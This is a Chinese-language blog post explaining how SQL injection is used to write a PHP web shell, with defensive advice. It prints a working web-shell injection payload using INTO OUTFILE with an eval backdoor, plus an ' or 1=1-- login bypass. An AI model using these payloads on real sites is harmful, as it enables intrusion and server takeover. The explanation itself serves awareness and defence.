最近在群里看到有人聊起网站被黑,后台莫名其妙多了个木马文件,查来查去发现是通过SQL注入写入的shell。听起来挺玄乎,其实整个过程并不复杂,尤其对一些老系统来说,风险一直都在。
什么是SQL注入写入shell
简单说,就是攻击者利用网站没过滤好的输入点,比如登录框、搜索栏这些地方,插入恶意SQL代码,让数据库执行非预期操作。如果服务器配置不当,他们就能把一段Web shell写进网站目录,之后直接用浏览器访问这个文件,就能控制整个服务器。
举个例子,你家的门锁坏了,小偷不光能偷东西,还能自己配把钥匙长期进出。SQL注入就是那个坏掉的锁,而写入的shell就是那把钥匙。
常见利用方式
假设一个网站的查询语句长这样:
SELECT * FROM users WHERE id = <input>
正常输入是数字,比如 1 或 2。但如果用户输入:1 UNION SELECT '<?php @eval($_POST[cmd]);?>',2 INTO OUTFILE '/var/www/html/shell.php',并且数据库有写权限,那这段PHP代码就会被保存成 shell.php。
之后只要访问 http://yoursite.com/shell.php,传个 cmd 参数,就能执行任意命令。比如删文件、下木马、甚至挂博彩页。
为什么浏览器技巧栏目讲这个
很多人以为这种事离自己很远,其实不然。你用的浏览器可能正开着某个老系统的管理后台,或者测试本地搭的站点。如果你习惯用“万能密码”测试登录框,比如 ' or 1=1--,那你已经在接触SQL注入了。
有些浏览器插件还能自动拼接payload,点一下就尝试写文件。这类操作看着炫酷,但一不小心就成了别人眼里的攻击入口。
如何避免被写shell
最基础的是别让SQL语句拼接用户输入。用预处理语句(Prepared Statements)基本能挡住90%的攻击。另外,数据库账号不要给 FILE 权限,Web目录禁止执行脚本,都是硬性要求。
还有个小建议:定期检查网站目录有没有突然多出来的 .php、.asp 文件,特别是名字像 temp.php、load.php 这种看着就很可疑的。
技术本身不分好坏,但用在哪、怎么用,决定了它是工具还是武器。了解这些不是为了尝试,而是为了更好地保护自己和用户的系统安全。